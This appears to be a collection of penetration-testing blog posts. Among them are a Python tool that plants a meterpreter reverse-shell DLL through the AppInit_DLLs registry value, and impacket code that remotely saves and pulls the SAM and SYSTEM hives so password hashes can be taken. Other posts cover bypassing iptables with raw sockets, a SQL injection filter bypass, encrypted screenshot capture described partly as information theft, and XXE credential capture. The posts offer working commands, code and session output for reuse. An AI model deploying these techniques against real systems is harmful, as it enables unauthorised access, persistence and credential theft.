What is the core of Windows I asked myself? What is the central part that is used by a lot of processes in Windows? The answer to this is in my opinion is the Windows Registry (winreg). Which got me thinking about an old method used to deploy user land rootkits. A very good article about user land rootkits can be found in Phrack, which does an excellent job of describing them:

http://www.phrack.org/issues.html?issue=62&id=12

The interesting part in this article is the mention of the registry key “AppInit_DLLs”. Let’s take a look at a few msdn quotes:

All the DLLs that are specified in this value are loaded by each Microsoft Windows-based application that is running in the current log on session.

That sounds really nice, but let’s not get ahead of ourselfs and also checkout the note on msdn:

Note This feature may not be available in future versions of the Windows operating system.

The AppInit DLLs are loaded by using the LoadLibrary() function during the DLL_PROCESS_ATTACH process of User32.dll. Therefore, executables that do not link with User32.dll do not load the AppInit DLLs. There are very few executables that do not link with User32.dll.

Also let’s look at the more recent Windows support for this feature:

Beginning with Windows Vista®, the AppInit_DLLs infrastructure is disabled by default. This default behavior remains unchanged in Windows 7 and Windows Server 2008 R2.

Well that doesn’t seem to be to bad, it’s a useful method in which you have to take into account a few pitfalls. The first being the fact you have to re-enable this functionality and more importantly for us can this be done remotely?  After digging some more into it Microsoft provides an excellent document describing AppInit_DLLs for Windows 7 and newer versions here and here [msword]. After reading it all it seems that if we want to use this to execute our payload remotely the following steps are required:

  • Access to the registry
  • Enough rights to modify registry keys
  • Ability to upload our DLL
  • Patience to wait for a process that loads it OR somehow trigger the start of a process

If you keep digging around you’ll find that there are, a lot, more ways to have Windows execute your payload for example the Windows control panel also accepts .cpl files which in essence are DLL files and those can also be added through registry manipulation. Even better in new Windows version the control panel architecture has switched to use executable files instead of dynamic loading libraries. Both of which can be registered in the registry ready to be executed as soon as a user fires up the control panel.

For the ones remembering the whole binary planting debacle this is also a technique you could use remotely since the setting that is responsible for the “fix” of forcing Windows to avoid the dangerous search order can be reversed by changing it’s value in the registry. This would effectively mean that just dropping a DLL file in a location of which you know that is accessed a lot would get you instant execution.

For now I decided to only implement a POC for the AppInit_DLLs method. In case you are wondering “why this method?” it’s because of the potential it has when you use it on a terminal server. You’d get shells from all the users that log in to the terminal server. Although I haven’t had the chance to test it out on a terminal server, I think it should work without problems as long as the payload you use takes a few special corner cases into account that you encounter when working with terminal server sessions.

Remoting the ‘not so new’ method

Since I’m a lazy person I decided to create the POC using existing tools, after all hackers are not the only ones who want to modify a Windows registry remotely from a Linux host right? The first tool that I found was regshell, looking for it also thought me the neat trick of apt-file:

apt-get install apt-file
apt-file update
apt-file search regshell
apt-get install registry-tools

Shame on me for not knowing apt-file before this, would have saved me a lot of online searching. Using regshell is pretty straightforward:

regshell –remote=10.50.0.116 –user=”Administrator%P@55word”
predefined HKEY_LOCAL_MACHINE
cd “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows”
list

which gives us:

V “LoadAppInit_DLLs” REG_DWORD 0×00000000
V “RequireSignedAppInit_DLLs” REG_DWORD 0×00000001
V “AppInit_DLLs” REG_SZ

Looks like we are done right, since uploading the dll file is just a matter of using good old samba? Except we forgot to look at the help/man page of regshell which clearly states that:

set|update
Update the value of a key value. Not implemented at the moment.

Uhmm….darn!  Which means that we’ll probably have to implement our own remote registry reader/writer. If someone knows of a Linux tool that is able to write to a remote windows registry say so in the comments. Since my POC is not fully stable at the moment.

Implementing our own tool

Let’s not loose head here and just use an existing library instead of implementing all the DCERPC calls. For the POC I’m using impacket:

Impacket is a collection of Python classes focused on providing access to network packets. Impacket allows Python developers to craft and decode network packets in simple and consistent manner. It includes support for low-level protocols such as IP, UDP and TCP, as well as higher-level protocols such as NMB and SMB. Impacket is highly effective when used in conjunction with a packet capture utility or package such as Pcapy. Packets can be constructed from scratch, as well as parsed from raw data. Furthermore, the object oriented API makes it simple to work with deep protocol hierarchies.

This sounded really promising since it also supports DCERPC which is what we need to actually talk to the Windows registry remotely. One of the drawbacks is the lack of documentation which is a problem that a lot of projects out there share.  I know that most people say that “code is the only documentation you need” but still some normal documentation and explanation does save you a lot of time. Luckily there are plenty of code samples out there which help out a lot to understand the library. For example this remote registry example which also uses the impacket library. Armed with this I created the following POC:

[*] DiabloHorn http://diablohorn.wordpress.com
[*] Remote AppInit_DLLs deployer
[*] rapini.py -t <target> -u <[domain\]username> -p <password> -f <dll_payload>
[*] target – use file: syntax to specify a file with multiple ips
[*] h – for this menu
[*] examples:
[*] rapini.py -t 1.2.3.4 -u administrator -p password -f meterpreter.dll
[*] rapini.py -t 1.2.3.4 -u domain\administrator -p password -f meterpreter.dll
[*] rapini.py -t file:/tmp/targets.txt -u administrator -p password -f meterpreter.dll

As a payload I generated a meterpreter dll to test with like this:

msf > use payload/windows/meterpreter/reverse_tcp
msf payload(reverse_tcp) > set LHOST 10.50.0.103
LHOST => 10.50.0.103
msf payload(reverse_tcp) > generate -t dll -f /tmp/z.dll
[*] Writing 14336 bytes to /tmp/z.dll…

Then for a single target you run it like this:

python rapini.py -t 10.50.0.116 -u administrator -p P@55word -f /tmp/b.dll
[*] targets 1
[*] domain None
[*] username administrator
[*] password P@55word
[*] payload /tmp/b.dll

[*] attacking 10.50.0.116
[*] Connected to WIN-F1AN5Q00KJS Windows 6.1 Build 7601
[*] Starting upload
[*] upload OK – C:\windows\temp\xauczi.dll
[*] connecting to the registry
[*] connected
[*] X64 True
[*] current values
{‘AppInit_DLLs’: u’\x00′, ‘RequireSignedAppInit_DLLs’: 1, ‘LoadAppInit_DLLs’: 0}
[*] setting new values (no signing, uploaded dll, enable appinit)
[*] new values set
{‘AppInit_DLLs’: u’C:\\windows\\temp\\xauczi.dll\x00′, ‘RequireSignedAppInit_DLLs’: 0, ‘LoadAppInit_DLLs’: 1}

Like you can see it displays the old values of the registry keys and then writes the new values to them. This is because this POC at the moment doesn’t preserve the old values, so be careful in live environments. Then if you wait long enough for a process start of if you trigger one yourself you’ll see the shell appearing in your multi/handler.

[*] Started reverse handler on 10.50.0.103:4444
[*] Starting the payload handler…
[*] Sending stage (762880 bytes) to 10.50.0.116
[*] Meterpreter session 1 opened (10.50.0.103:4444 -> 10.50.0.116:49158) at 2013-10-12 20:34:20 +0200

An important thing to take into account is that AppInit_DLLs are not known for their stability or their use without problems. For this POC I used the default generated meterpreter dll. I’d recommend writing your own wrapper though to make sure that you take some things into account like:

  • Avoiding having your DLL loaded to much
  • Doing your own proper initialization

Additionally you probably want to make sure that if there are any values already present in the registry you either preserve them or restore them after you’ve got your shell. If you happen to run into IDS/IPS or AV problems you could try out some of the evasion posts I made in the past.

Hope you enjoyed this post and feel free to modify the POC to fit your own needs.


Filed under: general, security Tagged: appinit_dlls, dcerpc, impacket, psexec, registry, smb

Remote hash dumping: no processes or tool upload needed

$
0
0

So after my last article, in which I describe an alternative way to execute code on a remote machine if you have the local administrator’s password, I kept wondering what else could be done with the remote registry? The first thing I immediately thought of was dumping the windows hashes. The reason I thought of this was because it would have several advantages:

  • You would not need to bypass anti virus
  • You would not need to worry about uploading executable files
  • You would not need to worry about spawning new processes on the remote machine
  • You would only need one open port

Since I dislike reinventing the wheel (unless it’s for educational purposes) I started to first search around and see what current methods are available. As far as I can tell they all boil down to the following:

  • Use psexec to dump hashes by
    • Spawning a new process and running reg.exe
    • Uploading your own executable and running it
  • Use WMI to spawn a new process and run reg.exe
  • Use Windows tools
    • regedit.exe / reg.exe
    • Third party (WinScanX)

If you are not interested in my first failed attempt, the learned things you can skip directly to the script on GitHub as usual. Keep reading if you want to know the details. In case you are wondering: Yes I used impacket, it rocks.

Windows hash encryption
First things first how the hell does the dumping of Windows hashes actually work? Here is my attempt at explaining it in a nutshell, a reference to a full description can be found at the end of this post.

Back in the days Microsoft decided that hashing the passwords wasn’t enough so they implemented an additional encryption layer to protect the hashes. They chose to encrypt the hashes with RC4 which creates a new problem of course. Where do you get the key for the encryption? They thought of three options:

  • Randomly generate the key and store it in the registry (default)
  • Randomly generate the key, store it in the registry and protect it with an additional password
  • Randomly generate the key and store it on a floppy disk

The method most widely used nowadays (like you probably guessed) is the first one. The initial bootkey is stored obfuscated in the registry at the following locations:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\JD
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Skew1
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Data
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\GBG

Ones that is gathered the rest of the process is executed which is described best by the original author who described the process:

1)  The  value  'F'  of  the  registry  key SAM\SAM\Domains\Account is
accessed.  The  contents  of  that  value  is  of binary type. 16 byte
(starting  at  offset 0x70) from the F value are hashed (MD5) with the
bootkey  and  some  constant. The result is used as the key to decrypt
(RC4)  the  32  byte of the F value (starting from 0x80).
The  first  16  byte  of the result are used later in the algorithm. I
call them hbootkey.

2) For each rid subkey in SAM\SAM\Domains\Account\Users. The value 'V'
of  the  key  is accessed. The content of that value is of binary type
and  contain  the  syskey  encrypted  password  hashes.  The  hbootkey
(computed in step 1), the user rid and a constant string( different if
decoding  NT  or lanman password) are hashed (MD5). The result is used
as the key to decrypt (RC4) the syskeyed password hashes.

So syskey encrypts the password hashes with the RC4 algorithm using as
key "something" derived (through MD5) from the syskey bootkey.

That describes it pretty clear don’t you think? If you prefer to understand algorithms by reading code I’d recommend to have a look at creddump, specifically the hashdump.py file. Armed with this information and a confirmation from the creddump source I started to implement my own remote hash dumper.

Failed attempt
I’ve said it before and I’ll say it again (even though I don’t learn) “Assumption is the mother of all ***”.  After reading the description of the syskey algorithm and having a quick glance at the creddump source I started to create the first POC. So I fired up regedit.exe and connected to a remote registry, then I went to the keys which contained the needed information. First thing I had to do was change the rights on the SAM key to make sure the Administrator had read rights. After doing this and refreshing regedit.exe with F5 I could see the keys. Due to my lazyness the first thing I tried was to export the keys as hive files. This failed miserably, I was not able to save them on my desktop ( I later realised why). So I did the next best thing I exported them as REG files. It all looked pretty good, so I started coding and made this function for myself to parse out values from a reg file, which I would need later to calculate the correct decryption keys:

import codecs

def get_parametervaluefromkey(regfile, keyname, parametername):
    lkeyname = '[' + keyname + ']'
    if parametername != '@':
        lparametername = '"' + parametername + '"='
    else:
        lparametername = parametername
    start_paramblock = False
    start_param = False
    foundparam = list()
    with codecs.open(regfile, encoding='utf-16') as f:
        for line in f.readlines():
            line = line.strip()

            if line.startswith('['):
                start_paramblock = False

            if line == lkeyname:
                start_paramblock = True
                continue

            if start_paramblock:
                if line.startswith(lparametername):
                    start_param = True
                    foundparam.append(line)
                    continue

                if not line.startswith('"'):
                    foundparam.append(line)
                else:
                    start_param = False
    return foundparam

Which you can use like this:

get_parametervaluefromkey(systemfile, r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1", "SkewMatrix")

That all went great until I wanted to actually calculate the bootkey. If I had read the algorithm description more carefully AND if I hadn't assumed things when reading the creddump source I would have realized that when it states that:

A more in depth analysis of the code accessing these keys uncover that
the  "complex  obfuscation algorithm" is no more than a permutation of
the class name of the above-mentioned keys.

It really means CLASS NAME and not VALUES. This information is lost when you export keys in the reg format, if you export them as text however you DO get that information. Unfortunately the formats are miles apart:

.reg format:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1]
"SkewMatrix"=hex:54,a1,24,08,3e,1b,f7,cc,fe,3d,bb,63,e1,6f,06,59

.txt format:

Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
Class Name: 6fa7b736
Last Write Time: 10/15/2013 - 7:08 AM
Value 0
Name: SkewMatrix
Type: REG_BINARY
Data:
00000000 54 a1 24 08 3e 1b f7 cc - fe 3d bb 63 e1 6f 06 59 T¡$.>.÷Ìþ=»cáo.Y

Well that was a bummer, not really an easy way to reuse my already written code. So I started to play around with regedit.exe which is when I realized why I couldn’t save the keys as hive files before. The function used by regedit.exe is RegSaveKey which doesn’t return the data but saves it itself to a specified path. Which isn’t entirely bad since I assume (see: I don’t learn) that if you specify a UNC path to a share it would happily safe the file there. You’ll probably just need to make sure the machine is able to login to the specified share.

More or less at the same time I stumbled upon the excellent article on exporting the registry by HD Moore. In this article WinScanX is explained which is able to dump hashes remotely as follow:

Since imitation is the sincerest form of flattery, I looked into how WinScanX implemented the registry hive export. Using the Remote Registry service over SMB/DCERPC, WinScanX calls the Save function, instructing the service to write an exported copy of the hive to the file system. WinScanX then downloads the hive using the ADMIN$ SMB share. This is a clean way to obtain the hive data, but newer versions of Windows disable the Remote Registry service by default, requiring the user to first enable it, then dump the hive, then disable it again. I would not be surprised if future versions of WinScanX implement this method.

In my testlab I didn’t need to enable the remote registry it seemed to have been enabled by Windows when I enabled File & Printer Sharing. The downside is that it’s a Windows tools and I prefer to do this stuff from a Linux machine. So at this point I decided to see how hard it would be to create a quick POC for this using impacket.

Finally, success
Seeing how it all had gone until now I assumed the worst, however I seemed to be lucky. Impacket already has an implementation for the RegSaveKey function. This made it mostly a copy/paste process from my previous post to get it working.  All it took was the following lines of code using impacket:

s = getloginsession(victim, domain, username, password)
registryconnection = getregistryconnection(s, victim)
hklm_open = registryconnection.openHKLM()
hklm_open_chandle = hklm_open.get_context_handle()
hklm_keyopen_sam = registryconnection.regOpenKey(hklm_open_chandle, "SAM", winreg.KEY_ALL_ACCESS)
hklm_keyopen_system = registryconnection.regOpenKey(hklm_open_chandle, "SYSTEM", winreg.KEY_ALL_ACCESS)
hklm_keyopen_sam_chandle = hklm_keyopen_sam.get_context_handle()
hklm_keyopen_system_chandle = hklm_keyopen_system.get_context_handle()
registryconnection.regSaveKey(hklm_keyopen_sam_chandle,remote_samsavename)
registryconnection.regSaveKey(hklm_keyopen_system_chandle,remote_systemsavename)
logout(_dcerpctransport)
#get the sam
s.getFile('C$', samfile, savefile_callback)
s.deleteFile('C$',samfile)
os.rename(_localdumplocation+'tempfile',_localdumplocation+remote_samsavename)
print "[*] saved sam %s" % _localdumplocation+remote_samsavename
#get the system
s.getFile('C$', systemfile, savefile_callback)
s.deleteFile('C$',systemfile)
os.rename(_localdumplocation+'tempfile',_localdumplocation+remote_systemsavename)
print "[*] saved system %s" % _localdumplocation+remote_systemsavename
logout(s)

So now we are able to dump Windows hashes from Linux remotely without the need to start processes or upload executable files and all this through a single port. It looks like this:

python reg2hash.py -t file:t.txt -u Administrator -p P@55word -l ../../j/dumped/
[*] targets 2
[*] domain None
[*] username Administrator
[*] password P@55word
[*] accessing 10.50.0.117
[*] saved sam ../../j/dumped/10.50.0.117.s
[*] saved system ../../j/dumped/10.50.0.117.y
[*] accessing 10.50.0.116
[*] saved sam ../../j/dumped/10.50.0.116.s
[*] saved system ../../j/dumped/10.50.0.116.y

You can find the full source on my GitHub, feel free to comment if you suggestions, improvements or just plain old rants. Don’t forget that this is just a quick POC, thus me being lazy and not implementing error checking.

Resources


Filed under: general, security Tagged: dcerpc, hash dumping, impacket, remote registry, smb

[QP] raw sockets & iptables

$
0
0

Funny how sometimes you don’t realize stuff until you actually try to interact with it instead of just observing it. I’ve used tcpdump many times behind a normal iptables ruleset, I’ve also used ‘dhclient eth0′ a lot of times. None of those times though did I realize that dhclient uses raw sockets and that iptables is unable to block those connections. As far as I can tell and with some help from the #netfilter guys on freenode it seems you can’t block raw socket connections at the moment in an easy way. It’s not as bad as it sounds though since you either need root privileges or the CAP_NET_RAW capability to be able to use raw sockets.

If you want to see this for yourself do the following:

iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

Now try to resolve something or connect to something:

DNS resolving
host http://www.google.com

;; connection timed out; no servers could be reached

TCP connect
nc -vv 173.194.112.51 80

nc: connect to 173.194.112.51 port 80 (tcp) failed: Connection timed out

Now if you do this with raw sockets, using scapy for example:

DNS resolving
>>> a,u = sr(IP(dst=”208.67.220.220″)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=”www.google.com”)))

Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> print a.show()
0000 IP / UDP / DNS Qry “www.google.com” ==> IP / UDP / DNS Ans “173.194.112.51″

TCP connect
>>> a,u = sr(IP(dst=”173.194.112.51″)/TCP(sport=3445))
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> print a.show()
0000 IP / TCP 10.50.0.103:3445 > 173.194.112.51:http S ==> IP / TCP 173.194.112.51:http > 10.50.0.103:3445 SA / Padding

Like you can see the resolving works fine and the TCP connection attempt also works fine since we receive a SYN+ACK, this is all happing while we have our iptables policy on DROP. Fun stuff right?

In my opinion this doesn’t really have a lot of real world usage, even though some backdoors as referenced before in my post about connectionless backdoors use the raw socket sniffing method to activate themselves. It could come in handy though if you become root on a server with a strict firewall and you don’t want to alter the firewall, you could use raw sockets for sending and receiving to cut right through it.

If you are wondering QP stands for Quick Post.


Filed under: general Tagged: iptables, raw, sockets

Encrypted Screenshots

$
0
0

You might be wondering why on earth you’d need to take encrypted screenshots, in that case here are a couple of reasons:

  • The machine on which you take screenshots has different levels of classification
    • Although in this case you *should* definitely review the full source, specially the crypto part
  • You want to make it harder for the victim to find out what information has been captured (stolen)
  • Just in case you have to transport them on an insecure medium
  • Because it’s an easy way to steal information
  • Because you want to keep your own screenshots safe
    • Don’t generate the key pair on the same machine or save the private key on the same machine!

You can skip directly to ‘cryptoshot’ on my github.

Compiling cryptoshot

I used Visual Studio 2010 express, if you use other versions you might have to resolve possible issues yourself. It should compile without problems if you set the active configuration to ‘Release’. If you run into any problems check one of the following:

  • Are the additional directories ‘libfiles’ and ‘libheaderfiles’ configured correctly under the ‘c/c++’ and linker options?
  • Under ‘Linker->input’ add ‘libcmt.lib’ to the ‘Ignore Specific Default Libraries’ line
  • Set ‘C/C++->Compile As’ to ‘Compile As C Code’

Things I (re)learned

Cryptography is hard, very hard

So for some odd reason I had associated Message Authentication Codes (MAC) with padding oracle attacks. Since the decryption of the screenshots would be done by another process, most probably with a huge delay in time and with no way for an attack to access the possible output, I thought why would I do a MAC over the encrypted data? Luckily for me the people in the #crypto  channel on freenode where willing to explain to me that padding oracle attacks are not the only thing an attacker can do if they can ‘flip bits’ in your encrypted blob. In the case of cryptoshot for example if the attacker can guess the dimensions of the underlying image he could draw his own image. So I added an HMAC to verify before decrypting anything. Additionally for the encryption of the symmetric keys etc, I was using RSA PKCS1 and it had to be swapped for RSA OAEP. Reason being that there are multiple known attacks to PKCS1 encryption.

Multi monitors & the virtual screen

A virtual screen spans MULTLIPLE monitors! Let’s take a look at this MSDN picture:

IC444273

That makes it more clear doesn’t it? The virtual screen can span across multiple monitors and since the primary monitor has 0,0 as it’s origin, everything left from it is negative. So when using the BitBlt function to make a screenshot you need to make sure you distinguish between the left side position of the virtual screen (which will be negative) and the width in pixels of the virtual screen. Which more precise is the difference between using GetSystemMetrics() with SM_XVIRTUALSCREEN and SM_CXVIRTUALSCREEN.

In case you are wondering about the image format, it’s BMP. I looked into creating it as JPEG but then decided it would mean quality loss. So instead I opted to use zlib and compress the entire image before encrypting it. I was to lazy to opt for the PNG option.


Filed under: general, security Tagged: encryption, multi monitor, polarssl, screenshot

Solving RogueCoder’s SQLi challenge

$
0
0

So I’m hanging around on #vulnhub (freenode) when RogueCoder silently drops a SQLi challenge, which you can find here:

http://ethax.secnet.org/challenges/sqli-01.php?id=1

At first I ignored it since well I’m usually not that big a fan of challenges. Mostly because they are not realistic or because they require you to solve them how the author intends them to be solved. After a while though I decided to give it a try (due to Slurpgeit nagging me to do it together) and well this was one of the more fun SQLi challenges that I’ve done. It was realistic and RogueCoder didn’t impose any “correct solution”. If you hadn’t noticed yet this post will give away the solution, only read on if you have already solved it or if you want to spoil the challenge for yourself.

Now instead of firing up our favorite tool, let’s first understand how the challenge works. When you perform the first request with ID set to 1 you’ll get the following response:

Oracle hates @miss_sudo
Username: shp0ngl3
Email: some@email.com

Now that seems like a normal response, let’s try non existing IDs like -1, 0 or 99999 in all cases I’m just assuming they don’t exist, but you have to start somewhere right? There are two very distinct responses:

Response to id=-1

Oracle hates @miss_sudo
Nice try!

Response to id=0 or id=99999

Oracle hates @miss_sudo

Hmm interesting, just to be sure I also checked the raw response instead of just the browser representation. I mean you never know when some html/javascript might be giving away goodies right? For the ones wondering who miss_sudo is, please read her latest pretty awesome oracle vulnerability on her blog.

The line that caught my eye was “Nice try!” this seems to indicate that some kind of hack detection is in place. Let’s try and see if we can determine what kind of protection is in place:

Several requests with ‘,”,\,%00,\’,\”,\\ all ended in the same message. Which led me to believe that only numbers are accepted, which in turn made me think that would be really weird since it would be almost unsolvable. Let’s go back to basics and see what happens if we do a request with id=02:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

So that works, let’s try adding a ‘a’ behind it or enclose it in brackets like ‘(02)’:

Oracle hates @miss_sudo
Nice try!

Now this seems more like it, although you now might wonder why? Well because we now are pretty sure that indeed there is some filter in place that only seems to accept numbers. This is pretty important information if you eventually want to use any of the available SQL injection tools. One of the characters that we have not tested yet, but is actually pretty important is the space character, so let’s do a request with id=0 2:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

Fun! Why? Because it tells us that spaces are not immediately rejected but probably replaced by nothing. Depending on the SQL injection point this can be really useful to bypass filters by splitting payloads up, in this case not so much though.  So this is the point where we start thinking about how the programmer might have implemented this and try to think of the defenses he might have used.

I didn’t get that chance though, since I was doing it together with Slurpgeit he had already gone through the list of possible characters and had identified a character ‘%OA’ (line feed) that was allowed, since issuing the request id=2%0a produces:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

You might be saying but I see no difference with a request that just does id=2, in this case that’s a good thing. Since it’s a line feed and it produces the same result as a valid request. To really know if this is the magical character we are looking for let’s try a bit of SQL magic with the following requests:

id=2%OA%2bif(1=0,1,2)

Oracle hates @miss_sudo

id=2%0A%2bif(1=1,1,2)

Oracle hates @miss_sudo
Username: user
Email: user@sqli.com

Excellent! We just solved the SQLi challenge. Our first request evaluates to false and thus adds 2 to the id resulting in a total of 4 which is an id with no information associated, our second request evaluates to true and thus adding 1 to the id resulting in a total of 3 which is an id with information associated. I decided to retrieve the current database user with the user() function the “clumsy” way:

id=2%0A%2bif(substring(user(),1,1)=’a',1,2)

Using that request as a template I used Burp Intruder with the “cluster bomb” payload type to cycle through every possible combination to find the current user.

Slurpgeit will probably respond to this blog post with a more efficient way of retrieving information and RogueCoder will do a whole blog post on this challenge including source and a more in depth explanation of the filters and why the ‘%OA’ characters works to bypass them.

Hope you enjoyed this quickly written walk through and I hope that the big take away is that before using SQL injection tools it really really really helps to have solved it manually and actually understanding the why’s and how’s.

Finally i’d like to thank RogueCoder for making this challenge, Slurpgeit for convincing me to do it and #vulnhub for being an awesome channel :)


Filed under: general Tagged: burp, filters, manual, sqli

[old] VMware vSphere client XML External Entity attack

$
0
0

So this is a *really* old blog post that I wrote a while back when I discovered, or at least so I believed, an XXE bug in the VMware vSphere client. I reported this to the VMware security team but they were not able to reproduce the part where you would use a UNC path to try and steal the credentials of an user. I then got busy and never continued to investigate why they were not able to reproduce it. Since the vSphere client is being replaced by a web client I decided it couldn’t hurt to release this old post, also the likely hood of this being exploited is pretty low.

Curiosity (from Latincuriosus “careful, diligent, curious,” akin to cura “care”) is a quality related to inquisitive thinking such as exploration, investigation, and learning, evident by observation in human and many animal species.  (Wikipedia)

As always a driving force behind many discoveries, as well as the recent bug I found in the VMware vSphere client (vvc). Not a very interesting bug, yet a fun journey to approach things from a different perspective. After my last post about a portable virtual lab I wondered what the vvc used as a protocol to communicate with the esxi server and if it could contain any bugs. So this time instead of getting out ollydbg I decided to go for a more high-level approach. Let’s see how I poked around and found the XML External Entity (XXE) (pdf)  vulnerability in the vvc.

I first looked in the directory of vvc, just to know the type of files that resided there, here is a screenshot:

1

Logically the file that drew my attention was the config file of which the following settings also seemed like they would come in handy:

2

Seems like if we want to tinker with the connection a higher time-out would give us more time and a higher verbosity level of logging could help us during the poking around. Enough looking around at this point let’s get more active.

If you google around you’ll find that the vvc uses port 443 for it’s connections and you’ll find a nice presentation and tool with an overview of multiple vulnerabilities that concern the esx infrastructure:

http://media.blackhat.com/bh-us-10/presentations/Criscione/BlackHat-USA-2010-Criscione-Virtually-Pwned-slides.pdf

From the above presentation you see two nice attacks on the client namely:

  • user assisted code execution
  • password sniffing

You can also deduce that the client uses XML for it’s communication since it requests ‘/client/clients.xml’. Which implies that the client might be vulnerable for several known XML attacks. Now let’s see if the client is actually vulnerable for some known XML attacks. The first attacks that came to my mind are:

Why these two you might ask? Well the first one cause it usually yields nice results and the second one cause I’ve always wanted to try it. So let’s man-in-the-middle the vvc. WAIT….why would you still dig into the client if there are already two nice vulnerabilities for it one of them being code execution for crying out loud. I’ll sum it up in one word:

curiosity

A lot of times that’s more then enough reason to do stuff. Now let’s get on with testing if the vvc is vulnerable to an xxe attack. So we need to mitm the client, as always (when it’s a http based protocol) I wip out BURP. So the setup is as follow: VVC <—> BURP <—> ESXI, which translates to the following proxy configuration in burp:

3

So we listen on all interfaces on port 443 and redirect traffic to the esxi host 10.80.0.100. Now out of curiosity we’ll also have DebugView running, you never know what messages an application might show you. If you set the burp proxy to intercept server responses you’ll see the following when the vvc requests the ‘/client/clients.xml’:

4

If you drop the request in burp you’ll see the following in debugview:

5

Well this looks promising doesn’t it? We can control the communication between the vvc and the server and vvc also outputs more then enough debug information to know what’s going on. So let’s try and attack the client using the following response:

6

Hmm the client gives us an error stating that the hostname can’t be resolved which doesn’t really answer the question if the attack worked or not. So let’s have a look with process monitor:

7

Well that’s rather nice isn’t it? The vvc actually reads the file, we just don’t have a nice way to exfiltrate the contents of it. However we can also supply a network path and capture the credentials without the user knowing it, there are more then enough tutorials out there which illustrate this. The billion laughs attack is pretty straightforward you can copy/paste the wikipedia example and you’ll see your cpu and memory use go up, eventually .NET will give an out-of-memory exception but (afaik) it won’t really bring down the client.


Filed under: general, security Tagged: dbgview, entity attack, procmon, virtualization, vmware, xml, xxe
Viewing all 34 articles
Browse latest View live